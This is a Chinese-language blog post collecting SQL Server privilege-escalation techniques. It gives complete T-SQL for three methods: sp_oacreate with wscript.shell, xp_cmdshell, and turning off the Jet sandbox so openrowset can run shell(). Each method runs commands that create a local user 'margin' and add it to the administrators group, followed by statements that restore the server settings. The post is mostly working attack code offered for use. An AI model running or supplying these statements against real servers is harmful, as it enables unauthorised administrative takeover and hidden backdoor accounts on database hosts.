SQL Server提权方法汇总(MSSQL)
admin
2023-02-18 19:00:06
0次

使用sp_oacreate进行提权

--提权语句--sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1

EXEC sp_configure 'show advanced options', 1;

--使前面的配置生效RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE;

declare @shell int

--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null.

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'

--恢复语句EXEC

sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE;

EXEC sp_configure 'show advanced options', 0;

RECONFIGURE;

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。在oacreate的官方文档里明确指出了,如果要使用OLE对象,必须要开启 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;执行这条语句前要执行EXEC sp_configure 'show advanced options', 1; 官方对这句话的解释是:show advanced options,“显示高级选项”选项用来显示 sp_configure 系统存储过程高级选项。 当“显示高级选项” 设置为 1 时,可以使用 sp_configure 列出高级选项。 默认值为 0。

使用xp_cmdshell进行提权

--提权语句

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure; --开启CMDshell

-- master..xp_cmdshell的全写是master.dbo.xp_cmdshell

exec master..xp_cmdshell 'net user margin margin /add';

exec master..xp_cmdshell 'net localgroup administrators margin /add';

--恢复语句EXEC

sp_configure 'show advanced options', 0;

RECONFIGURE;

使用沙盒进行提权

--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure;

SQL Server官方参考文档

sp_configure的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-2017

sp_oacreate的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-2017

sp_oamethod的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-2017

openrowset的官方文档:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-2017

ole db的官方文档:https://docs.microsoft.com/zh-cn/sql/connect/oledb/ole-db/oledb-driver-for-sql-server-programming?view=sql-server-2017


相关内容

热门资讯

空调连续工作多久需要停机休息 空调连续工作的时间取决于多个因素,包括空调的型号、功率、使用环境和维护情况等。一般来说,空调可以连续...
空调哪个符号是除湿的 空调除湿功能通常用一个水滴形状的符号表示。不同品牌和型号的空调遥控器可能会有所差异,但一般来说,除湿...
格力空调多长时间加一次氟利昂 1、一般情况下,空调对氟利昂的使用量是非常小的,所以在空调使用了四年左右的时候再考虑加也没问题。2、...
空调用多长时间需要加氟一次 一般情况下是五年。当出现以下这几种情况时,空调才需要加氟。1、空调的室内机和室外机各有两个接口,当接...
格调生活·C标思享荟:卡萨帝在... 9月12日的郑州龙湖金融岛,夜风轻拂,灯光璀璨。“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑...
品牌价值破千亿、高端份额持续领... 9月12日,“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑州站”在郑州龙湖金融岛举办。2026...
空调主板坏了修800还是换新的 空调主板坏了是修还是换新,需要考虑多个因素,以下是一些建议:1. 维修成本:如果维修费用较低,比如 ...
空调开多久需要休息多长时间 问题:空调开多久需要休息多长时间回答:1、在使用空调的过程中,一般空调开7~8个小时左右需要休息2~...
中央空调多长时间清洗一次 1、一般空调开机前清洗一次即可,空调开机中间时段再清洗一次,空调关机时清洗一次,这样比较合理。2、空...
中央空调氟利昂多久加一次 看空调制热和制冷程度,很多人的观点认为氟利昂必须一年放一次,其实这个观点是错误的,理解上面有点偏差,...